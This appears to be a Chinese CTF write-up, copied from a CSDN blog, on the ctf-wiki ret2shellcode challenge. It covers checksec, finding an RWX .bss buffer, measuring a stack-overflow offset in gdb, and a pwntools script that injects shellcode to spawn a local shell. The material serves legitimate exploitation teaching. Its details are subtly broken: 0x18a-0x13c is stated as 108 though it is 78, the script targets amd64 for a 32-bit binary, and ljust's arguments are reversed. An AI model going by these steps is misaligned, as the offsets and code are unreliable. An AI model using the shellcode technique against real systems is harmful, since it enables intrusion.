pwn的最基本的ret2shellcode原理

题源:ctf-wiki的基础ROP的ret2shellcode

基本 ROP - CTF Wiki (ctf-wiki.org)

 ①:先checksec检查

可以看出基本上没什么保护开启,而且含有RWX段(这个段的意思就是可读可写可执行),很明显是一个shellcode的题目。

②:先反编译看看

有gets函数,绝对考溢出。而且没有system函数和bin/sh,也没有后门函数可以直接使用。再结合他有RWX段就可以很明显的判断这是一个ret2shellcode的题目。 

 

而且更重要的是他把我输入的变量s的内容复制到了buf2,在ida里双击buf2来到着发现是.bss段(.bss段负责存储未初始化的全局变量和静态局部变量)。 

我们记住buf2的地址,待会有用:0x0804a080

 

既然有RWX段,那到底在哪呢?

输入vmmap指令查看所有的内存映射段。可以看出 0x804a000就是我们要找的段。正好是buf2所在的.bss段。

总结思路:
那现在就是很明显了,我们通过gets函数写入变量s的东西全部都被复制到了可执行段上面,那我只要将system("/bin/sh")这段shellcode写到s里面,然后控制ebp去执行可执行段的代码就行。

③:计算写入地址

使用gdb动态调试。

先输入disass main反汇编看看gets函数的地址,因为我们得在这设置一个断点,不然他就运一下子运行到底,我们就没法计算覆盖栈中esp的地址了。 

 

可以看到gets函数的地址是0x08048593,我们在他的下一个地址设置一个断点,让他随便读入几个字符之后我们去查看栈内存的分布。

于是输入 : b *0x08048598,然后按r运行。他让我输入字符串,我们就随便输入一串。

 

 然后输入stack 35查看一下栈。会发现我们刚才写入的字符串起始存储位置是0xffffd13c,而ebp现在在0xffffd18a处。

那就可以计算偏移了:0x18a-0x13c=108。

由于我们还得覆盖ebp的内容,而且是32位程序,所以我们得+4。最终的总偏移就是108+4=112。

 

④:编写exp

from pwn import *

# 先设置目标机的参数context
# 1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
# 2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
# 3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。
context(os='linux', arch='amd64', log_level='debug')

# 建立连接:这是和本地,一般实际做题得连远程,这没有远程,连接本地做个示范
io = process('./ret2shellcode')
# 可执行区的地址
buf2_addr = 0x0804A080
# asm()表示生成汇编指令,在window下pwntools这个函数会报错,尽量到unbunt里面,毕竟pwntools本来就是为适配unbunt环境的
# 当然这只是获取shellcode汇编指令的一种手段。
aim_shellcode = asm(shellcraft.sh())
# ljust是不满足112的话就用b'a'补足,以便我们可以覆盖ebp
# 后面那个p32就是把已经写入shellcode的可执行段的地址写入ebp寄存器。
payload = aim_shellcode.ljust(b'A', (0x18a - 0x13c + 4)) + p32(buf2_addr)
io.sendline(payload)
io.interactive()

总结:

介绍一个国外大佬搭建的一个获取shellcode的在线网站:

shell-storm | Shellcodes Database

只需找到匹配的即可。

猜你喜欢

转载自blog.csdn.net/hacker_zrq/article/details/120597706